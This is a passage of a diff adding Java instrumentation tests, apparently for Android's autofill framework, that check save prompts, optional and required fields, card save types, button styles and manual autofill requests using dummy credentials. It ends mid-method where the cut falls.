+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyPreFilled() throws Exception {
+        saveOnlyTestPreFilled(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyTriggeredManuallyPreFilled() throws Exception {
+        saveOnlyTestPreFilled(true);
+    }
+
+    private void saveOnlyTestPreFilled(boolean manually) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Set activity
+        mActivity.onUsername((v) -> v.setText("user_before"));
+        mActivity.onPassword((v) -> v.setText("pass_before"));
+
+        // Trigger auto-fill.
+        if (manually) {
+            // setText() will trigger a fill request.
+            // Waits the first fill request triggered by the setText() is received by the service to
+            // avoid flaky.
+            sReplier.getNextFillRequest();
+            mUiBot.waitForIdle();
+
+            // Set expectations again.
+            sReplier.addResponse(new CannedFillResponse.Builder()
+                    .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                    .build());
+            mActivity.forceAutofillOnUsername();
+        } else {
+            mUiBot.selectByRelativeId(ID_USERNAME);
+        }
+        mUiBot.waitForIdle();
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("user_after"));
+        mActivity.onPassword((v) -> v.setText("pass_after"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("user_after");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.waitForIdle();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "user_after");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "pass_after");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyTwoRequiredFieldsOnePrefilled() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Set activity
+        mActivity.onUsername((v) -> v.setText("I_AM_USER"));
+
+        // Trigger auto-fill.
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before changing value, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Set credentials...
+        mActivity.onPassword((v) -> v.setText("thou should pass")); // contains pass
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("I_AM_USER"); // contains pass
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "I_AM_USER");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "thou should pass");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyOptionalField() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword(View::requestFocus);
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, "malkovich");
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        assertTextAndValue(password, "malkovich");
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveNoRequiredField_NoneFilled() throws Exception {
+        optionalOnlyTest(FilledFields.NONE);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveNoRequiredField_OneFilled() throws Exception {
+        optionalOnlyTest(FilledFields.USERNAME_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveNoRequiredField_BothFilled() throws Exception {
+        optionalOnlyTest(FilledFields.BOTH);
+    }
+
+    enum FilledFields {
+        NONE,
+        USERNAME_ONLY,
+        BOTH
+    }
+
+    private void optionalOnlyTest(FilledFields filledFields) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD)
+                .setOptionalSavableIds(ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        final String expectedUsername;
+        if (filledFields == FilledFields.USERNAME_ONLY || filledFields == FilledFields.BOTH) {
+            expectedUsername = BACKDOOR_USERNAME;
+            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        } else {
+            expectedUsername = "";
+        }
+        mActivity.onPassword(View::requestFocus);
+        if (filledFields == FilledFields.BOTH) {
+            mActivity.onPassword((v) -> v.setText("whatever"));
+        }
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage(expectedUsername);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        if (filledFields == FilledFields.NONE) {
+            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+            return;
+        }
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, BACKDOOR_USERNAME);
+
+        if (filledFields == FilledFields.BOTH) {
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "whatever");
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testGenericSave() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSavePassword() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveAddress() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveCreditCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveUsername() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveEmailAddress() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_EMAIL_ADDRESS);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveDebitCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_DEBIT_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSavePaymentCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_PAYMENT_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveGenericCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveTwoCardTypes() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD,
+                SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveThreeCardTypes() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD
+                | SAVE_DATA_TYPE_PAYMENT_CARD, SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
+    private void customizedSaveTest(int type) throws Exception {
+        customizedSaveTest(type, type);
+    }
+
+    private void customizedSaveTest(int type, int expectedType) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final String saveDescription = "Your data will be saved with love and care...";
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(type, ID_USERNAME, ID_PASSWORD)
+                .setSaveDescription(saveDescription)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        final UiObject2 saveSnackBar = mUiBot.assertSaveShowing(saveDescription, expectedType);
+        mUiBot.saveForAutofill(saveSnackBar, true);
+
+        // Assert save was called.
+        sReplier.getNextSaveRequest();
+    }
+
+    @Presubmit
+    @Test
+    public void testDontTriggerSaveOnFinishWhenRequestedByFlag() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Make sure it didn't trigger save.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndSaveWhenFlagSecure() throws Exception {
+        mActivity.setFlags(FLAG_SECURE);
+        testAutoFillOneDatasetAndSave();
+    }
+
+    @Test
+    public void testAutoFillOneDatasetWhenFlagSecure() throws Exception {
+        mActivity.setFlags(FLAG_SECURE);
+        testAutoFillOneDataset();
+    }
+
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testDisableSelf() throws Exception {
+        enableService();
+
+        // Can disable while connected.
+        mActivity.runOnUiThread(() -> mContext.getSystemService(
+                AutofillManager.class).disableAutofillServices());
+
+        // Ensure disabled.
+        assertServiceDisabled();
+    }
+
+    @Presubmit
+    @Test
+    public void testNeverRejectStyleNegativeSaveButton() throws Exception {
+        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER);
+    }
+
+    @Presubmit
+    @Test
+    public void testRejectStyleNegativeSaveButton() throws Exception {
+        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT);
+    }
+
+    @Test
+    public void testCancelStyleNegativeSaveButton() throws Exception {
+        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL);
+    }
+
+    private void negativeSaveButtonStyle(int style) throws Exception {
+        enableService();
+
+        // Set service behavior.
+
+        final String intentAction = "android.autofillservice.cts.CUSTOM_ACTION";
+
+        // Configure the save UI.
+        final IntentSender listener = PendingIntent.getBroadcast(mContext, 0,
+                new Intent(intentAction), PendingIntent.FLAG_IMMUTABLE).getIntentSender();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setNegativeAction(style, listener)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("foo"));
+        mActivity.onPassword((v) -> v.setText("foo"));
+        mActivity.tapLogin();
+
+        // Start watching for the negative intent
+        final CountDownLatch latch = new CountDownLatch(1);
+        final IntentFilter intentFilter = new IntentFilter(intentAction);
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                mContext.unregisterReceiver(this);
+                latch.countDown();
+            }
+        }, intentFilter);
+
+        // Trigger the negative button.
+        mUiBot.saveForAutofill(style, /* yesDoIt= */ false, SAVE_DATA_TYPE_PASSWORD);
+
+        // Wait for the custom action.
+        assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
+    }
+
+    @Presubmit
+    @Test
+    public void testContinueStylePositiveSaveButton() throws Exception {
+        enableService();
+
+        // Set service behavior.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setPositiveAction(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("foo"));
+        mActivity.onPassword((v) -> v.setText("foo"));
+        mActivity.tapLogin();
+
+        // Start watching for the negative intent
+        // Trigger the negative button.
+        mUiBot.saveForAutofill(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert save was called.
+        sReplier.getNextSaveRequest();
+    }
+
+    @Test
+    @AppModeFull(reason = "Unit test")
+    public void testGetTextInputType() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Assert input text on fill request:
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        final ViewNode label = findNodeByResourceId(fillRequest.structure, ID_PASSWORD_LABEL);
+        assertThat(label.getInputType()).isEqualTo(TYPE_NULL);
+        final ViewNode password = findNodeByResourceId(fillRequest.structure, ID_PASSWORD);
+        assertWithMessage("No TYPE_TEXT_VARIATION_PASSWORD on %s", password.getInputType())
+                .that(password.getInputType() & TYPE_TEXT_VARIATION_PASSWORD)
+                .isEqualTo(TYPE_TEXT_VARIATION_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "Unit test")
+    public void testNoContainers() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        mUiBot.assertNoDatasetsEver();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert it only has 1 root view with 10 "leaf" nodes:
+        // 1.text view for app title
+        // 2.username text label
+        // 3.username text field
+        // 4.password text label
+        // 5.password text field
+        // 6.output text field
+        // 7.clear button
+        // 8.save button
+        // 9.login button
+        // 10.cancel button
+        //
+        // But it also has an intermediate container (for username) that should be included because
+        // it has a resource id.
+
+        assertNumberOfChildren(fillRequest.structure, 12);
+
+        // Make sure container with a resource id was included:
+        final ViewNode usernameContainer = findNodeByResourceId(fillRequest.structure,
+                ID_USERNAME_CONTAINER);
+        assertThat(usernameContainer).isNotNull();
+        assertThat(usernameContainer.getChildCount()).isEqualTo(2);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillManuallyOneDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        // And activity.
+        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Explicitly uses the contextual menu to test that functionality.
+        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Should have been automatically filled.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillManuallyOneDatasetWhenClipboardFull() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set clipboard.
+        ClipboardManager cm = (ClipboardManager) mActivity.getSystemService(CLIPBOARD_SERVICE);
+        cm.setPrimaryClip(ClipData.newPlainText(null, "test"));
+
+        // And activity.
+        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Explicitly uses the contextual menu to test that functionality.
+        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Should have been automatically filled.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // clear clipboard
+        cm.clearPrimaryClip();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
+        autofillManuallyTwoDatasets(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
+        autofillManuallyTwoDatasets(false);
+    }
+
+    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "jenny")
+                        .setField(ID_PASSWORD, "8675309")
+                        .setPresentation(createPresentation("Jenny"))
+                        .build())
+                .build());
+        if (pickFirst) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("jenny", "8675309");
+
+        }
+
+        // Force a manual autofill request.
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Auto-fill it.
+        final UiObject2 picker = mUiBot.assertDatasets("The Dude", "Jenny");
+        mUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyPartialField() throws Exception {
+        // Set service.
+        enableService();
+
+        sReplier.addResponse(NO_RESPONSE);
+        // And activity.
+        mActivity.onUsername((v) -> v.setText("dud"));
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // setText() will trigger a fill request.
+        // Waits the first fill request triggered by the setText() is received by the service to
+        // avoid flaky.
+        sReplier.getNextFillRequest();
+        mUiBot.waitForIdle();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Force a manual autofill request.
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+        // Username value should be available because it triggered the manual request...
+        assertValue(fillRequest.structure, ID_USERNAME, "dud");
+        // ... but password didn't
+        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+
+        // Selects the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyAgainAfterAutomaticallyAutofilledBefore() throws Exception {
+        // Set service.
+        enableService();
+
+        /*
+         * 1st fill (automatic).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        assertTextIsSanitized(fillRequest1.structure, ID_USERNAME);
+        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
+
+        // Select it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        /*
+         * 2nd fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(createPresentation("THE DUDE"))
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+        // Change password to make sure it's not sent to the service.
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
+        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
+
+        // Select it.
+        mUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyAgainAfterManuallyAutofilledBefore() throws Exception {
+        // Set service.
+        enableService();
+
+        /*
+         * 1st fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest1.flags, FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest1.structure, ID_USERNAME, "");
+        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
+
+        // Select it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        /*
+         * 2nd fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(createPresentation("THE DUDE"))
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+        // Change password to make sure it's not sent to the service.
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
+        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
+
+        // Select it.
+        mUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testCommitMultipleTimes() throws Throwable {
+        // Set service.
+        enableService();
+
+        final CannedFillResponse response = new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build();
+
+        for (int i = 1; i <= 10; i++) {
+            Log.i(TAG, "testCommitMultipleTimes(): step " + i);
+            final String username = "user-" + i;
+            final String password = "pass-" + i;
+            try {
+                // Set expectations.
+                sReplier.addResponse(response);
+
+                Timeouts.IDLE_UNBIND_TIMEOUT.run("wait for session created", () -> {
+                    // Trigger auto-fill.
+                    mActivity.onUsername(View::clearFocus);
+                    mActivity.onUsername(View::requestFocus);
+
+                    return isConnected() ? "not_used" : null;
+                });
+
+                sReplier.getNextFillRequest();
+
+                // Validation check.
+                mUiBot.assertNoDatasetsEver();
+
+                // Set credentials...
+                mActivity.onUsername((v) -> v.setText(username));
+                mActivity.onPassword((v) -> v.setText(password));
+
+                // Change focus to prepare for next step - must do it before session is gone
+                mActivity.onPassword(View::requestFocus);
+
+                // ...and save them
+                mActivity.tapSave();
+
+                // Assert the snack bar is shown and tap "Save".
+                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+                // Assert value of expected fields - should not be sanitized.
+                final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure,
+                        ID_USERNAME);
+                assertTextAndValue(usernameNode, username);
+                final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure,
+                        ID_PASSWORD);
+                assertTextAndValue(passwordNode, password);
+
+                waitUntilDisconnected();
+
+                // Wait and check if the save window is correctly hidden.
+                mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+            } catch (RetryableException e) {
+                throw new RetryableException(e, "on step %d", i);
+            } catch (Throwable t) {
+                throw new Throwable("Error on step " + i, t);
+            }
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testCancelMultipleTimes() throws Throwable {
+        // Set service.
+        enableService();
+
+        for (int i = 1; i <= 10; i++) {
+            Log.i(TAG, "testCancelMultipleTimes(): step " + i);
+            final String username = "user-" + i;
+            final String password = "pass-" + i;
+            sReplier.addResponse(new CannedDataset.Builder()
